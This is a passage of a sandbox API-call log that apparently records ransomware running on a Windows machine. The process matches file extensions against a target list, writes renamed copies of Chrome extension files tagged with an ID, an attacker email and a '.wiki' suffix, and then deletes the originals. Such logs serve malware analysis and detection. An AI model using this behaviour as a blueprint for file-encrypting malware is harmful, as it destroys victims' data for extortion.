(lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\uk\\messages.json") returned 155 [0179.507] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\uk\\messages.json") returned 155 [0179.507] lstrlenW (lpString=".doc") returned 4 [0179.507] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0179.507] lstrlenW (lpString=".docx") returned 5 [0179.507] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0179.507] lstrlenW (lpString=".pdf") returned 4 [0179.507] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0179.507] lstrlenW (lpString=".xls") returned 4 [0179.507] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0179.507] lstrlenW (lpString=".xlsx") returned 5 [0179.507] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0179.507] lstrlenW (lpString=".ppt") returned 4 [0179.507] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0179.507] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\uk\\messages.json") returned 155 [0179.507] lstrlenW (lpString=".zip") returned 4 [0179.508] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0179.508] lstrlenW (lpString=".rar") returned 4 [0179.508] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0179.508] lstrlenW (lpString=".bz2") returned 4 [0179.508] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0179.508] lstrlenW (lpString=".7z") returned 3 [0179.508] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0179.508] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\uk\\messages.json") returned 155 [0179.508] lstrlenW (lpString=".dbf") returned 4 [0179.508] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0179.508] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\uk\\messages.json") returned 155 [0179.508] lstrlenW (lpString=".1cd") returned 4 [0179.508] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0179.508] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\uk\\messages.json") returned 155 [0179.508] lstrlenW (lpString=".jpg") returned 4 [0179.508] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0179.508] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0179.508] lstrlenW (lpString="messages.json") returned 13 [0179.508] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\vi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\vi\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0179.509] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=720) returned 1 [0179.509] CloseHandle (hObject=0x1ac) returned 1 [0179.509] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\vi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\vi\\messages.json")) returned 0x2020 [0179.509] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\vi\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\vi\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0179.509] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\vi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\vi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0179.509] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0179.509] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0179.509] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\vi\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\vi\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0179.510] GetLastError () returned 0x0 [0179.510] ReadFile (in: hFile=0x1ac, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x2d0, lpOverlapped=0x0) returned 1 [0179.518] WriteFile (in: hFile=0x1a0, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0x2e0, lpOverlapped=0x0) returned 1 [0179.519] ReadFile (in: hFile=0x1ac, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0179.520] WriteFile (in: hFile=0x1a0, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xee, lpOverlapped=0x0) returned 1 [0179.520] SetEndOfFile (hFile=0x1a0) returned 1 [0179.520] CloseHandle (hObject=0x1a0) returned 1 [0179.520] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0179.520] SetEndOfFile (hFile=0x1ac) returned 1 [0179.521] CloseHandle (hObject=0x1ac) returned 1 [0179.521] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\vi\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0179.521] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\vi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\vi\\messages.json")) returned 1 [0179.521] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\vi\\messages.json") returned 155 [0179.521] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\vi\\messages.json") returned 155 [0179.521] lstrlenW (lpString=".doc") returned 4 [0179.521] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0179.521] lstrlenW (lpString=".docx") returned 5 [0179.521] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0179.521] lstrlenW (lpString=".pdf") returned 4 [0179.521] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0179.521] lstrlenW (lpString=".xls") returned 4 [0179.521] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0179.521] lstrlenW (lpString=".xlsx") returned 5 [0179.521] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0179.521] lstrlenW (lpString=".ppt") returned 4 [0179.522] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0179.522] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\vi\\messages.json") returned 155 [0179.522] lstrlenW (lpString=".zip") returned 4 [0179.522] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0179.522] lstrlenW (lpString=".rar") returned 4 [0179.522] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0179.522] lstrlenW (lpString=".bz2") returned 4 [0179.522] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0179.522] lstrlenW (lpString=".7z") returned 3 [0179.522] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0179.522] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\vi\\messages.json") returned 155 [0179.522] lstrlenW (lpString=".dbf") returned 4 [0179.522] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0179.522] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\vi\\messages.json") returned 155 [0179.522] lstrlenW (lpString=".1cd") returned 4 [0179.522] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0179.522] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\vi\\messages.json") returned 155 [0179.522] lstrlenW (lpString=".jpg") returned 4 [0179.522] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0179.522] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\vi\\messages.json") returned 155 [0179.522] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\vi\\messages.json") returned 155 [0179.522] lstrlenW (lpString=".doc") returned 4 [0179.522] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0179.522] lstrlenW (lpString=".docx") returned 5 [0179.522] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0179.522] lstrlenW (lpString=".pdf") returned 4 [0179.522] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0179.522] lstrlenW (lpString=".xls") returned 4 [0179.852] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0179.852] lstrlenW (lpString=".xlsx") returned 5 [0179.852] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0179.852] lstrlenW (lpString=".ppt") returned 4 [0179.852] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0179.852] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\vi\\messages.json") returned 155 [0179.852] lstrlenW (lpString=".zip") returned 4 [0179.852] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0179.852] lstrlenW (lpString=".rar") returned 4 [0179.852] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0179.852] lstrlenW (lpString=".bz2") returned 4 [0179.852] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0179.852] lstrlenW (lpString=".7z") returned 3 [0179.852] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0179.852] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\vi\\messages.json") returned 155 [0179.852] lstrlenW (lpString=".dbf") returned 4 [0179.852] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0179.852] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\vi\\messages.json") returned 155 [0179.852] lstrlenW (lpString=".1cd") returned 4 [0179.852] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0179.852] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\vi\\messages.json") returned 155 [0179.852] lstrlenW (lpString=".jpg") returned 4 [0179.852] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0179.853] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0179.853] lstrlenW (lpString="messages.json") returned 13 [0179.853] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\en\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\en\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0179.853] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=215) returned 1 [0179.853] CloseHandle (hObject=0x1a4) returned 1 [0179.853] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\en\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\en\\messages.json")) returned 0x2020 [0179.853] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\en\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\en\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0179.853] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\en\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\en\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0179.853] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0179.854] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0179.854] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\en\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\en\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0179.854] GetLastError () returned 0x0 [0179.854] ReadFile (in: hFile=0x1a4, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0xd7, lpOverlapped=0x0) returned 1 [0179.855] WriteFile (in: hFile=0x1ac, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0179.856] ReadFile (in: hFile=0x1a4, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0179.856] WriteFile (in: hFile=0x1ac, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xee, lpOverlapped=0x0) returned 1 [0179.856] SetEndOfFile (hFile=0x1ac) returned 1 [0179.857] CloseHandle (hObject=0x1ac) returned 1 [0179.857] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0179.857] SetEndOfFile (hFile=0x1a4) returned 1 [0179.858] CloseHandle (hObject=0x1a4) returned 1 [0179.858] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\en\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0179.858] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\en\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\en\\messages.json")) returned 1 [0179.858] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\en\\messages.json") returned 151 [0179.858] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\en\\messages.json") returned 151 [0179.858] lstrlenW (lpString=".doc") returned 4 [0179.858] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0179.858] lstrlenW (lpString=".docx") returned 5 [0179.858] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0179.858] lstrlenW (lpString=".pdf") returned 4 [0179.858] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0179.858] lstrlenW (lpString=".xls") returned 4 [0179.858] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0179.858] lstrlenW (lpString=".xlsx") returned 5 [0179.858] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0179.858] lstrlenW (lpString=".ppt") returned 4 [0179.858] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0179.858] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\en\\messages.json") returned 151 [0179.858] lstrlenW (lpString=".zip") returned 4 [0179.858] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0179.858] lstrlenW (lpString=".rar") returned 4 [0179.859] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0179.859] lstrlenW (lpString=".bz2") returned 4 [0179.859] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0179.859] lstrlenW (lpString=".7z") returned 3 [0179.859] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0179.859] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\en\\messages.json") returned 151 [0179.859] lstrlenW (lpString=".dbf") returned 4 [0179.859] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0179.859] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\en\\messages.json") returned 151 [0179.859] lstrlenW (lpString=".1cd") returned 4 [0179.859] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0179.859] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\en\\messages.json") returned 151 [0179.859] lstrlenW (lpString=".jpg") returned 4 [0179.859] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0179.859] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\en\\messages.json") returned 151 [0179.859] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\en\\messages.json") returned 151 [0179.859] lstrlenW (lpString=".doc") returned 4 [0179.859] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0179.859] lstrlenW (lpString=".docx") returned 5 [0179.859] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0179.859] lstrlenW (lpString=".pdf") returned 4 [0179.859] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0179.859] lstrlenW (lpString=".xls") returned 4 [0179.859] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0179.859] lstrlenW (lpString=".xlsx") returned 5 [0179.859] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0179.859] lstrlenW (lpString=".ppt") returned 4 [0179.859] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0179.859] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\en\\messages.json") returned 151 [0179.859] lstrlenW (lpString=".zip") returned 4 [0179.860] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0179.860] lstrlenW (lpString=".rar") returned 4 [0179.860] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0179.860] lstrlenW (lpString=".bz2") returned 4 [0179.860] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0179.860] lstrlenW (lpString=".7z") returned 3 [0179.860] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0179.860] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\en\\messages.json") returned 151 [0179.860] lstrlenW (lpString=".dbf") returned 4 [0179.860] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0179.860] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\en\\messages.json") returned 151 [0179.860] lstrlenW (lpString=".1cd") returned 4 [0179.860] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0179.860] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\en\\messages.json") returned 151 [0179.860] lstrlenW (lpString=".jpg") returned 4 [0179.860] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0179.860] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0179.860] lstrlenW (lpString="messages.json") returned 13 [0179.860] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\es\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\es\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0180.018] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=269) returned 1 [0180.018] CloseHandle (hObject=0x320) returned 1 